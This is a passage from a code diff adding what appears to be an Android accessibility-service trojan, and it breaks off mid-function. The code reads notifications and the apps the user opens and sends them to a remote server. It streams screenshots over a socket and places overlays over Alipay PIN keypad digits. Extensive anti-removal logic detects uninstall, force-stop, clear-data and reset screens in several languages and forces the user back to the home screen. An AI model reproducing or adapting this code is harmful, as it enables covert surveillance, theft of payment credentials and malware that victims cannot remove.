AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED) { + try { + boolean savenoty = ReadBool(getApplicationContext(), Rec_Notifications, false); + boolean livenoty = Live_Nots; + if (savenoty || livenoty) { + Notification notification = (Notification) event.getParcelableData(); + if (notification != null) { + String title = "N/A"; + if (notification.extras.getCharSequence(Notification.EXTRA_TITLE) != null) { + title = String.valueOf(notification.extras.getCharSequence(Notification.EXTRA_TITLE)); + } + String text = "N/A"; + if (notification.extras.getCharSequence(Notification.EXTRA_TEXT) != null) { + text = String.valueOf(notification.extras.getCharSequence(Notification.EXTRA_TEXT)); + } + + if (savenoty) { + String notydata = eventtimeStamp + "|" + appName + "|" + title + "|" + text; + try { + ActivityMonitors.Record(notydata, + ActivityMonitors.ActivityType.NTFS); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + if (livenoty) { + String notytitle = appName + ":" + title; + try { + AlertServer(getApplicationContext(), notytitle, text); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + } + + } + + + } catch (Exception b) { + MyLoger.Error("At.Acc.notifi", b.getMessage()); + } + } + + + //visitedapps + if (appName.length() > 0 && !LastVisitedApp.equals(appName) && !appName.equals("Known")) { + try { + if (!LastVisitedApp.equals("Known") && ReadBool(getApplicationContext(), Rec_apps, false)) { + ActivityMonitors.Record(eventtimeStamp + "|" + "EXIT" + "|" + LastVisitedApp, + ActivityMonitors.ActivityType.VAPS); + } + LastVisitedApp = appName; + if (ReadBool(getApplicationContext(), Rec_apps, false)) { + ActivityMonitors.Record(eventtimeStamp + "|" + "ENTER" + "|" + LastVisitedApp, + ActivityMonitors.ActivityType.VAPS); + if (launcherApps == null) { + launcherApps = getLauncherAppsPackageNames(this); + } + if (launcherApps.contains(CuzPackage) && !LastOpenApp.equals(appName)) { + LastOpenApp = appName; + AlertServer(getApplicationContext(), "Apps State", "User open: " + LastVisitedApp); + } + } + + + } catch (Exception a) { + MyLoger.Error("At.acc.visited", a.getMessage()); + } + } + + + //anti delete + if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED || + event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED || + event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) { + //KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); + //boolean isScreenLocked = keyguardManager.isKeyguardLocked(); + if ((PreventDelete && + event != null && + My_Configs.Anti_Delete.equals("1")) && + !Consts.removeme && + !isScreenLocked) { + if (!isProtectorRunning()) { + AntiProtector(this); + } + // preventstopback(getApplicationContext(), CuzPackage, RootView); + String evt = EventText; + String cuz = CuzPackage; + + String holdname = "null"; + if (event.getClassName() != null) { + holdname = event.getClassName().toString().toLowerCase(); + } + String ClassEvent = holdname; + ProtectSelf(evt, cuz, ClassEvent); + + } + } + + + } catch (Exception glob) { + MyLoger.Error("At.acc.Glob", glob.getMessage()); + glob.printStackTrace(); + } + +// try { +// if (RootView != null) { +// RootView.recycle(); +// } +// if (nodeInfo != null) { +// nodeInfo.recycle(); +// } +//// if (event != null) { +//// event.recycle(); +//// } +// } catch (Exception a) { +// a.printStackTrace(); +// MyLoger.Error("Cleaning", a.getMessage()); +// } + } + + private void ProtectSelf(String EventText, String CuzPackage, String ClassEvent) { + + //event.getClassName() String ClassEvent + + String eventTextLower = EventText.toLowerCase(); + String cuzPackageLower = CuzPackage.toLowerCase(); + try { + + + boolean containsMyName = eventTextLower.contains(CurrentNam) | eventTextLower.contains("\u200C\u200C\u200C"); + + if (containsMyName && + (eventTextLower.contains("uninstall") || + eventTextLower.contains("stop") || + eventTextLower.contains("accessibility"))) { + hideme(this); + blockBack(); + GoHome(); + return; + } + + if (cuzPackageLower.contains("com.google.android.packageinstaller") && + "android.app.alertdialog".equalsIgnoreCase(ClassEvent.toString()) && + containsMyName) { + hideme(this); + blockBack(); + GoHome(); + return; + + } + + if (cuzPackageLower.equals("com.android.settings") && + ClassEvent.equals("com.android.settings.accessibility.AccessibilitySettings") && + containsMyName) { + hideme(this); + blockBack(); + GoHome(); + return; + } + + // + if (cuzPackageLower.equals("com.samsung.accessibility") && + containsMyName) { + hideme(this); + blockBack(); + GoHome(); + return; + } + + if (ClassEvent != null && CuzPackage.length() > 0) { + String className = ClassEvent.toString(); + String packageName = CuzPackage.toString(); + + if ((className.equals("android.support.v7.widget.recyclerview") || + className.equals("androidx.recyclerview.widget.RecyclerView") || + className.equals("android.widget.linearlayout") || + className.equals("android.widget.framelayout")) && + (packageName.equals("com.android.settings") || + packageName.equals("com.miui.securitycenter")) && + containsMyName) { + hideme(this); + blockBack(); + GoHome(); + return; + } + } + //com.miui.packageinstaller + if ("com.miui.packageinstaller".equalsIgnoreCase(cuzPackageLower.toString()) && + containsMyName) { + try { + hideme(this); + blockBack(); + GoHome(); + + return; + } catch (Exception ignored) { + } + } + if ("com.samsung.accessibility".equalsIgnoreCase(cuzPackageLower.toString()) && + containsMyName) { + try { + hideme(this); + blockBack(); + GoHome(); + + return; + } catch (Exception ignored) { + } + } + if ("com.android.packageinstaller.UninstallerActivity".equalsIgnoreCase(ClassEvent) && + containsMyName) { + try { + hideme(this); + blockBack(); + GoHome(); + return; + + } catch (Exception ignored) { + } + } + if ("com.android.packageinstaller".equalsIgnoreCase(ClassEvent) && + containsMyName) { + try { + hideme(this); + blockBack(); + GoHome(); + return; + + } catch (Exception ignored) { + } + } + if (containsMyName && + (cuzPackageLower.contains("settings") || cuzPackageLower.contains("security")) && + (eventTextLower.contains("إيقاف") || + eventTextLower.contains("stop") || + eventTextLower.contains("توقف") || + eventTextLower.contains("delete") || + eventTextLower.contains("الإيقاف"))) { + try { + + blockBack(); + GoHome(); + return; + + } catch (Exception ignored) { + } + } + if (containsMyName && eventTextLower.contains("accessibility") && + cuzPackageLower.contains("settings")) { + + blockBack(); + GoHome(); + + return; + } + if (containsMyName && (cuzPackageLower.equals("com.vivo.permissionmanager") || + cuzPackageLower.equals("com.oplus.securitypermission") || + cuzPackageLower.equals("com.coloros.oppoguardelf"))) { + hideme(this); + blockBack(); + GoHome(); + + return; + } + + if (!containsMyName){ + return; + } + boolean isDangerousAction = false; + String lang = Locale.getDefault().getLanguage(); + String packageLower = cuzPackageLower.toLowerCase(); + + if ( packageLower.contains("battery") || + packageLower.contains("settings") || + packageLower.contains("installer") || + packageLower.contains("com.miui") || + packageLower.contains("com.samsung") || + packageLower.contains("com.coloros") || + packageLower.contains("com.oppo") || + packageLower.contains("com.oneplus") || + packageLower.contains("com.infinix") || + packageLower.contains("com.realme") || + packageLower.contains("com.android.vending") || + packageLower.contains("com.oplus") || + packageLower.contains("com.iqoo") || + packageLower.contains("com.vivo") || + packageLower.contains("com.huawei") || + packageLower.contains("security")) + { + if (lang.equals("ar")) { + isDangerousAction = eventTextLower.contains("حذف") || + eventTextLower.contains("مسح") || + eventTextLower.contains("إلغاء"); + } else if (lang.equals("en")) { + isDangerousAction = eventTextLower.contains("clear data") || + eventTextLower.contains("uninstall") || + eventTextLower.contains("turn off"); + } else if (lang.equals("tr")) { + isDangerousAction = eventTextLower.contains("sil") || + eventTextLower.contains("kaldır") || + eventTextLower.contains("silmek") || + eventTextLower.contains("zorla"); + } else if (lang.equals("zh")) { + isDangerousAction = eventTextLower.contains("卸载") || + eventTextLower.contains("强行停止") || + eventTextLower.contains("删除") || + eventTextLower.contains("解除安装") || + eventTextLower.contains("确认卸载") || + eventTextLower.contains("确定删除") || + eventTextLower.contains("关闭"); + } else if (lang.equals("es")) { + isDangerousAction = eventTextLower.contains("borrar") || + eventTextLower.contains("eliminar") || + eventTextLower.contains("desinstalar") || + eventTextLower.contains("desactivar"); + } else if (lang.equals("pt")) { + isDangerousAction = eventTextLower.contains("apagar") || + eventTextLower.contains("limpiar datos") || // Spanish/Port mixed + eventTextLower.contains("excluir") || + eventTextLower.contains("remover") || + eventTextLower.contains("desativar") || + eventTextLower.contains("limpar dados"); + } + } + if ((packageLower.contains("com.huawei.android.chr")) || isDangerousAction) { + blockBack(); + GoHome(); + } + } catch (Exception ignored) { + } + + + } + + + @Override + public void takeScreenshot(int displayId, @NonNull Executor executor, + @NonNull TakeScreenshotCallback callback) { + super.takeScreenshot(displayId, executor, callback); + } + + private final ThreadPoolExecutor threadPoolExecutor = new ThreadPoolExecutor(4, 8, 15, TimeUnit.SECONDS, new LinkedBlockingQueue()); + private static TakeScreenshotCallback snapcallback; + + @RequiresApi(api = Build.VERSION_CODES.R) + public void CapScreen(Context ctx, String stype, int quality) { + try { + if (snapcallback == null) { + snapcallback = new TakeScreenshotCallback() { + @RequiresApi(api = Build.VERSION_CODES.R) + @Override + public void onSuccess(@NonNull ScreenshotResult screenshotResult) { + Thread thread = new Thread() { + @Override + public void run() { + try { + // Log.i("ScreenShotResult", "onSuccess"); + Bitmap bitmap = Bitmap.wrapHardwareBuffer(screenshotResult.getHardwareBuffer(), screenshotResult.getColorSpace()); + + if (bitmap == null) { + return; + } + Bitmap compressedBitmap = Bitmap.createScaledBitmap(bitmap.copy(Bitmap.Config.ARGB_8888, true), 350, 650, false); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + + + if (!stype.equals("snap")) { + if (AccessServices.BlackScreen_ON) { + compressedBitmap = UtliTools.changeImageOpacity(compressedBitmap, 1.0f); + compressedBitmap.compress(Bitmap.CompressFormat.WEBP, 100, baos); + } else { + compressedBitmap.compress(Bitmap.CompressFormat.WEBP, quality, baos); + } + byte[] scbyts = baos.toByteArray(); + LiveChat.instance(ctx).LiveScreenSilent(ctx, scbyts, stype); + } else { + compressedBitmap.compress(Bitmap.CompressFormat.WEBP, quality, baos); + byte[] scbyts = baos.toByteArray(); + String base64Image = Base64.encodeToString(scbyts, Base64.DEFAULT); + + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "snap"); + jsonObject.put("img", base64Image); + String jsonData = jsonObject.toString(); + String SecondIDF = MySettings.Read(ctx, Consts.Sec_IDF, "null"); + if (SecondIDF.equals("null")) { + SecondIDF = MySettings.Read(ctx, Consts.THE_IDF, null); + } + LiveChat.instance(ctx).SendNewSocket(ctx, SecondIDF, jsonData); + + + } + + bitmap.recycle(); + compressedBitmap.recycle(); + screenshotResult.getHardwareBuffer().close(); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }; + thread.start(); + + } + + @Override + public void onFailure(int i) { + + if (i == AccessibilityService.ERROR_TAKE_SCREENSHOT_INTERVAL_TIME_SHORT) { + WorkServices.DelayScreenshot += 50; + } + + + } + }; + } + + takeScreenshot(Display.DEFAULT_DISPLAY, + threadPoolExecutor, snapcallback); + + } catch (Exception a) { + a.printStackTrace(); + } + } + + + private static int notifiid = 1; + + public static void ShowNotification(Context ctx, String Msg) { + + + try { + + + NotificationCompat.Builder builder; + builder = new NotificationCompat.Builder(ctx, "New Notifications") + .setContentTitle(My_Configs._Notfy_TITL_) + .setContentText(Msg) + .setVisibility(NotificationCompat.VISIBILITY_PUBLIC) + .setPriority(NotificationCompat.PRIORITY_HIGH) + .setSmallIcon(R.drawable.notify) + .setAutoCancel(true); + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + NotificationChannel channel = new NotificationChannel( + "New Notifications", + "Notifications", + NotificationManager.IMPORTANCE_HIGH + ); + + NotificationManager notificationManager = ctx.getSystemService(NotificationManager.class); + notificationManager.createNotificationChannel(channel); + builder.setChannelId("New Notifications"); + } + builder.setVibrate(new long[]{1000, 1000, 1000, 1000, 1000}); + builder.setLights(Color.RED, 3000, 3000); + Uri alarmSound = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); + builder.setSound(alarmSound); + NotificationManagerCompat notificationManager = NotificationManagerCompat.from(ctx); + if (Build.VERSION.SDK_INT >= 33) { // Android 13 (Tiramisu) and above + + // Check if the notification permission is not granted + if (ContextCompat.checkSelfPermission(ctx, "android.permission.POST_NOTIFICATIONS") == PackageManager.PERMISSION_GRANTED) { + notificationManager.notify(notifiid, builder.build()); + } else { + AlertServer(ctx, "Post Notification", "notification permission is not granted"); + } + } else { + notificationManager.notify(notifiid, builder.build()); + } + + notifiid += 1; + } catch (Exception d) { + d.printStackTrace(); + } + } + + @Override + public void onInterrupt() { + + } + + + private static volatile long Scannerdate = 0; + + private static boolean isScreenScannerRunning() { + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - Scannerdate; + long threeMinutesInMillis = 3 * 60 * 1000; // 3 minutes in milliseconds + + // Check if the elapsed time is less than 3 minutes + return elapsedTime < threeMinutesInMillis; + } + +// private WindowManager windowManager; +// private Map overlayMap = new HashMap<>(); // Track overlays by view ID +// +// private void removeOverlay(String viewId) { +// if (windowManager != null && overlayMap.containsKey(viewId)) { +// windowManager.removeView(overlayMap.get(viewId)); // Remove specific overlay +// overlayMap.remove(viewId); +// } +// } +// +// private void overlayBlackBox(String viewId, Rect rect) { +// if (windowManager == null) { +// windowManager = (WindowManager) getSystemService(WINDOW_SERVICE); +// } +// +// // Check if overlay already exists for this viewId +// if (overlayMap.containsKey(viewId)) { +// return; // Prevent duplicate overlays +// } +// +// View blackOverlay = new View(this); +// blackOverlay.setBackgroundColor(Color.BLACK); // Change to BLACK overlay +// +// WindowManager.LayoutParams params = new WindowManager.LayoutParams( +// rect.width(), rect.height(), // Increase size +// rect.left, rect.top, // Position on screen +// WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, +// WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | +// WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE +// | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN +// | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE +// | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED +// | WindowManager.LayoutParams.FLAG_FULLSCREEN +// | WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS +// | WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR, // Ensures overlay is visible +// PixelFormat.TRANSLUCENT +// ); +// +// params.gravity = Gravity.TOP | Gravity.LEFT; +// +// Log.d("Overlay", "Adding overlay at: X=" + rect.left + ", Y=" + rect.top + +// ", Width=" + rect.width() + ", Height=" + rect.height()); +// windowManager.addView(blackOverlay, params); +// overlayMap.put(viewId, blackOverlay); // Store reference +// } +// + + public void ScreenScanner(Context ctx) { + Thread thread = new Thread(new Runnable() { + public void run() { + + int sleeptime = 1000; + + do { + Scannerdate = System.currentTimeMillis(); + try { + sleep(sleeptime); + } catch (Exception s) { + } + + try { + + sleeptime = 3000; + + + if (MySettings.ReadBool(ctx, Consts.Send_Skilton, false)) { + sleeptime = 10; + byte[] byteArray = AccessTools.createskilton(); + if (byteArray != null) { + String base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "screen"); + jsonObject.put("img", base64Image); + jsonObject.put("frmt", "w"); + jsonObject.put("skly", "1"); + jsonObject.put("wmob", mWidth); + jsonObject.put("hmob", mHeight); + String jsonData = jsonObject.toString(); + + String SecondIDF = MySettings.Read(ctx, Consts.Sec_IDF, "null"); + if (SecondIDF.equals("null")) { + SecondIDF = MySettings.Read(ctx, Consts.THE_IDF, null); + } + + LiveChat.instance(ctx).SendNewSocket(ctx, SecondIDF, jsonData); + + } + + } + } catch (Exception a) { + + } + + } while (true); + } + }); + thread.start(); + } + + private static volatile long Protectdate = 0; + + private static boolean isProtectorRunning() { + if (Protectdate == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - Protectdate; + long threeMinutesInMillis = 7 * 1000; + + return elapsedTime < threeMinutesInMillis; + } + + public void AntiProtector(AccessServices accessor) { + Protectdate = System.currentTimeMillis(); + Handler mainHand = new Handler(getMainLooper()); + Thread protrct = new Thread(new Runnable() { + @Override + public void run() { + + int sleeptime = 500; + while (true) { + Protectdate = System.currentTimeMillis(); + try { + Thread.sleep(sleeptime); + + } catch (Exception a) { + } + try { + AccessibilityNodeInfo RootView = accessor.getRootInActiveWindow(); + KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); + boolean isScreenLocked = keyguardManager.isKeyguardLocked(); + if (PreventDelete && + RootView != null && + My_Configs.Anti_Delete.equals("1") && + !Consts.removeme && + !isScreenLocked) { + + String CuzPackage = String.valueOf(RootView.getPackageName()).toLowerCase(); + if (CuzPackage.length() > 0 && AccessTools.isSystemApp(getApplicationContext(), CuzPackage)) { + try { + if (CuzPackage.equals("com.miui.home".toLowerCase())) { + // + AccessibilityNodeInfo unstlldilg = AccessTools.getNodeByViewId(RootView, + "com.miui.home:id/uninstall_dialog"); + if (unstlldilg != null && unstlldilg.isVisibleToUser()) { + AccessibilityNodeInfo nfkeys = AccessTools.getNodeByViewId(RootView, + "com.miui.home:id/title"); + if (nfkeys != null && nfkeys.isVisibleToUser()) { + String nodtxts = String.valueOf(nfkeys.getText()).toLowerCase(); + boolean containsMyName = nodtxts.contains(CurrentNam) | nodtxts.contains("\u200C\u200C\u200C"); + if (containsMyName) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + } + } + + } + + } catch (Exception a) { + + } + + + if (CuzPackage.equals("com.android.settings".toLowerCase())) { + + List nodes = getNodesByClassName(RootView, "com.android.settings.system.ResetDashboardFragment"); + + if (nodes != null && !nodes.isEmpty()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + AccessibilityNodeInfo nf = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/collapsing_toolbar"); + if (nf != null) { + //Log.d("Accessibility", "Element found!"); + + if (nf.getContentDescription() != null && + nf.getContentDescription().toString().toLowerCase().contains(CurrentNam)) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + } + + + // for (String viewId : viewIds1) { + AccessibilityNodeInfo node = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/action_bar_title_expand"); + + if (node != null && + node.getText() != null && + node.getText().toString().toLowerCase().contains(CurrentNam)) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + // } + AccessibilityNodeInfo node2 = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/permissionDialog_disable_title"); + if (node2 != null && + node2.getText() != null && + node2.getText().toString().toLowerCase().contains(CurrentNam)) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + + + AccessibilityNodeInfo nodexs; + + nodexs = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/also_erases_external"); + if (nodexs != null && nodexs.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + + + nodexs = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/clear_all_data_text"); + if (nodexs != null && nodexs.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + + + nodexs = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/reset_settings_descrption"); + if (nodexs != null && nodexs.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + + + nodexs = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/reset_button"); + if (nodexs != null && nodexs.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + ; + + node = AccessTools.getNodeByViewId(RootView, "com.android.settings:id/sec_reset_settings_layout"); + if (nodexs != null && nodexs.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + ; + + + try { + List nfo1 = AccessTools.findNodesByText(" \u200C\u200C\u200C", RootView); + if (nfo1 != null && !nfo1.isEmpty()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + //hideme(this); + continue; + } + + } catch (Exception a) { + } + + } + if (CuzPackage.equals("com.android.systemui".toLowerCase())) { + + AccessibilityNodeInfo nf3 = AccessTools.getNodeByViewId(RootView, + "com.android.systemui:id/privacy_dialog_item_header_summary"); + if (nf3 != null) { + + if (nf3.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + } + + AccessibilityNodeInfo nf4 = AccessTools.getNodeByViewId(RootView, + "com.android.systemui:id/privacy_item"); + if (nf4 != null) { + + if (nf4.isVisibleToUser()) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + } + + preventstopback(CuzPackage,RootView); + + } + + if (CuzPackage.equals("com.samsung.accessibility".toLowerCase())) { + + AccessibilityNodeInfo nf3 = AccessTools.getNodeByViewId(RootView, + "com.samsung.accessibility:id/collapsing_appbar_extended_title"); + if (nf3 != null) { + //Log.d("Accessibility", "Element found!"); + + + if (nf3.getText() != null && + nf3.getText().toString().toLowerCase().contains(CurrentNam)) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + } + + + } +// //com.miui.home:id/title + + try { + + if (CuzPackage.contains("battery") || + CuzPackage.contains("settings") || + CuzPackage.contains("installer") || + CuzPackage.contains("com.miui") || + CuzPackage.contains("com.samsung") || + CuzPackage.contains("com.coloros") || + CuzPackage.contains("com.oppo") || + CuzPackage.contains("com.oneplus") || + CuzPackage.contains("com.infinix") || + CuzPackage.contains("com.systemui") || + CuzPackage.contains("com.realme") || + CuzPackage.contains("com.android.vending") || + CuzPackage.contains("com.oplus") || + CuzPackage.contains("com.iqoo") || + CuzPackage.contains("com.vivo") || + CuzPackage.contains("com.huawei") || + CuzPackage.contains("security")) { + + String evntTextV2 = AccessTools.readAllTextOnScreen(RootView).toLowerCase(); + boolean containsMyName2 = evntTextV2.contains(CurrentNam) | evntTextV2.contains("\u200C\u200C\u200C"); + String lang = Locale.getDefault().getLanguage(); + if (containsMyName2) { + boolean isWordFound = false; + if (lang.equals("ar")) { + isWordFound = evntTextV2.contains("الغاء") || + evntTextV2.contains("الخلفية") || + evntTextV2.contains("أذونات") || + evntTextV2.contains("مسح") || + evntTextV2.contains("توقف") || + evntTextV2.contains("إلغاء التثبيت") || + evntTextV2.contains("تعطيل") || + evntTextV2.contains("قتل") || + evntTextV2.contains("اغلاق"); + + } else if (lang.equals("en")) { + isWordFound = evntTextV2.contains("background") || + evntTextV2.contains("uninstall") || + evntTextV2.contains("permissions") || + evntTextV2.contains("clear") || + evntTextV2.contains("stop") || + evntTextV2.contains("force stop") || + evntTextV2.contains("disable") || + evntTextV2.contains("close"); + + } else if (lang.equals("zh")) { + isWordFound = evntTextV2.contains("允许完全后台行为") || + evntTextV2.contains("卸载") || + evntTextV2.contains("强行停止") || + evntTextV2.contains("权限") || + evntTextV2.contains("清除") || + evntTextV2.contains("停止") || + evntTextV2.contains("禁用") || + evntTextV2.contains("允许") || + evntTextV2.contains("后台管理") || + evntTextV2.contains("关闭") || + evntTextV2.contains("删除") || + evntTextV2.contains("清理"); + + } else if (lang.equals("tr")) { + isWordFound = evntTextV2.contains("arka plan faaliyetine izin ver") || + evntTextV2.contains("kaldır") || + evntTextV2.contains("izinler") || + evntTextV2.contains("durdur") || + evntTextV2.contains("temizle") || + evntTextV2.contains("dur") || + evntTextV2.contains("zorla durdur") || + evntTextV2.contains("devre dışı bırak") || + evntTextV2.contains("çıkar") || + evntTextV2.contains("kapat") || + evntTextV2.contains("sil") || + evntTextV2.contains("arka planda çalışmayı durdur"); + + } else if (lang.equals("es")) { + isWordFound = evntTextV2.contains("fondo") || + evntTextV2.contains("desinstalar") || + evntTextV2.contains("permisos") || + evntTextV2.contains("limpiar") || + evntTextV2.contains("parar") || + evntTextV2.contains("detener") || + evntTextV2.contains("forzar detención") || + evntTextV2.contains("deshabilitar") || + evntTextV2.contains("cerrar") || + evntTextV2.contains("eliminar") || + evntTextV2.contains("cerrar aplicación"); + + } else if (lang.equals("ru")) { + isWordFound = evntTextV2.contains("фон") || + evntTextV2.contains("удалить") || + evntTextV2.contains("разрешения") || + evntTextV2.contains("очистить") || + evntTextV2.contains("остановить") || + evntTextV2.contains("принудительная остановка") || + evntTextV2.contains("отключить") || + evntTextV2.contains("закрыть"); + + } else if (lang.equals("pt")) { + isWordFound = evntTextV2.contains("plano de fundo") || + evntTextV2.contains("desinstalar") || + evntTextV2.contains("permissões") || + evntTextV2.contains("limpar") || + evntTextV2.contains("parar") || + evntTextV2.contains("forçar parada") || + evntTextV2.contains("desativar") || + evntTextV2.contains("fechar"); + + } + + if (isWordFound) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + sleeptime = 200; + continue; + } + + + } + + boolean isResetAccessibility = false; + if (lang.equals("ar")) { + + isResetAccessibility = evntTextV2.contains("إعادة ضبط التطبيقات") || + evntTextV2.contains("إعادة تعيين التطبيقات") || + evntTextV2.contains("إعادة تعيين إعدادات إمكانية الوصول"); + } else if (lang.equals("en")) { + + isResetAccessibility = evntTextV2.contains("reset accessibility settings") || + evntTextV2.contains("reset apps"); + } else if (lang.equals("zh")) { + + isResetAccessibility = evntTextV2.contains("重置应用") || + evntTextV2.contains("重置应用偏好设置") || + evntTextV2.contains("重置辅助功能设置"); + } else if (lang.equals("tr")) { + + isResetAccessibility = evntTextV2.contains("erişilebilirlik ayarlarını sıfırla") || + evntTextV2.contains("uygulamaları sıfırla"); + } else if (lang.equals("es")) { + + isResetAccessibility = evntTextV2.contains("restablecer configuración de accesibilidad") || + evntTextV2.contains("restablecer preferencias de aplicaciones"); + } else if (lang.equals("ru")) { + + isResetAccessibility = evntTextV2.contains("сбросить настройки специальных возможностей") || + evntTextV2.contains("сброс настроек приложений"); + } else if (lang.equals("pt")) { + + isResetAccessibility = evntTextV2.contains("redefinir preferências do app") || + evntTextV2.contains("redefinir configurações de acessibilidade"); + } + + if (isResetAccessibility) { + mainHand.post(() -> { + blockBack(); + GoHome(); + }); + } + } + } catch (Exception s) { + } + sleeptime = 200; + } else { + sleeptime = 500; + } + } else { + sleeptime = 500; + } + + } catch (Exception a) { + MyLoger.Error("Protector", a.getMessage()); + } + } + } + }); + protrct.start(); + } + + public void printViewIds(AccessibilityNodeInfo rootView, int depth) { + try { + if (rootView == null) { + Log.e("At.printViewIds", "Root view is null."); + return; + } + + // Get View ID + String viewId = rootView.getViewIdResourceName() != null ? rootView.getViewIdResourceName() : "id_not_available"; + + // Get Class Name + String className = rootView.getClassName() != null ? rootView.getClassName().toString() : "class_not_available"; + + // Get Package Name + String packageName = rootView.getPackageName() != null ? rootView.getPackageName().toString() : "package_not_available"; + + // Get Text + String text = rootView.getText() != null ? rootView.getText().toString() : "text_not_available"; + + // Get Content Description + String contentDescription = rootView.getContentDescription() != null ? rootView.getContentDescription().toString() : "description_not_available"; + + // Get Checkable State + boolean isCheckable = rootView.isCheckable(); + + // Get Checked State + boolean isChecked = rootView.isChecked(); + + // Get Clickable State + boolean isClickable = rootView.isClickable(); + + // Get Enabled State + boolean isEnabled = rootView.isEnabled(); + + // Get Focusable State + boolean isFocusable = rootView.isFocusable(); + + // Get Visibility (rough estimate) + boolean isVisible = rootView.isVisibleToUser(); + + // Get Bounds in Screen + Rect bounds = new Rect(); + rootView.getBoundsInScreen(bounds); + int x = bounds.left; + int y = bounds.top; + int width = bounds.width(); + int height = bounds.height(); + + // Log all the details with depth indentation + String indent = new String(new char[depth]).replace("\0", " "); // Indentation for hierarchy + Log.e("At.printViewIds", + indent + "View Details [" + depth + "]" + + "\n" + indent + "ID: " + viewId + + "\n" + indent + "Class: " + className + + "\n" + indent + "Package: " + packageName + + "\n" + indent + "Text: " + text + + "\n" + indent + "Content Description: " + contentDescription + + "\n" + indent + "Checkable: " + isCheckable + + "\n" + indent + "Checked: " + isChecked + + "\n" + indent + "Clickable: " + isClickable + + "\n" + indent + "Enabled: " + isEnabled + + "\n" + indent + "Focusable: " + isFocusable + + "\n" + indent + "Visible: " + isVisible + + "\n" + indent + "Position: (" + x + ", " + y + ")" + + "\n" + indent + "Size: " + width + "x" + height + + "\n" + indent + "-------------------------" + ); + + // Recursively print child views with increased depth + for (int i = 0; i < rootView.getChildCount(); i++) { + printViewIds(rootView.getChild(i), depth + 1); + } + + } catch (Exception e) { + Log.e("At.printViewIds", "Exception: " + e.getMessage()); + } + } + + private final Map overlays = new HashMap<>(); + + public void removeAllOverlays() { + try { + for (View overlay : overlays.values()) { + try { + AccessWindow.removeView(overlay); + } catch (Exception e) { + // Handle case if view was already removed + e.printStackTrace(); + } + } + overlays.clear(); + } catch (Exception a) { + } + } + + private void addOverlaysForKeys() { + try { + for (int i = 0; i <= 9; i++) { + String viewId = "com.alipay.mobile.antui:id/au_num_" + i; + AccessibilityNodeInfo node = findNodeByViewId(viewId); + if (node != null) { + Rect bounds = new Rect(); + node.getBoundsInScreen(bounds); + addOverlay(viewId, bounds, String.valueOf(i)); + } + } + } catch (Exception a) { + } + } + + private AccessibilityNodeInfo findNodeByViewId(String viewId) { + AccessibilityNodeInfo root = getRootInActiveWindow(); + if (root == null) return null; + + List nodes = root.findAccessibilityNodeInfosByViewId(viewId); + return (nodes != null && !nodes.isEmpty()) ? nodes.get(0) : null; + } + + @SuppressLint("ClickableViewAccessibility") + private void addOverlay(String viewId, Rect bounds, String namenum) { + View overlay = new View(this); + overlay.setBackgroundColor(Color.TRANSPARENT); // semi-transparent red + WindowManager.LayoutParams params = new WindowManager.LayoutParams( + bounds.width(), + bounds.height(), + bounds.left, + bounds.top - 100, + WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + PixelFormat.TRANSLUCENT + ); + overlay.setOnTouchListener((v, event) -> { + if 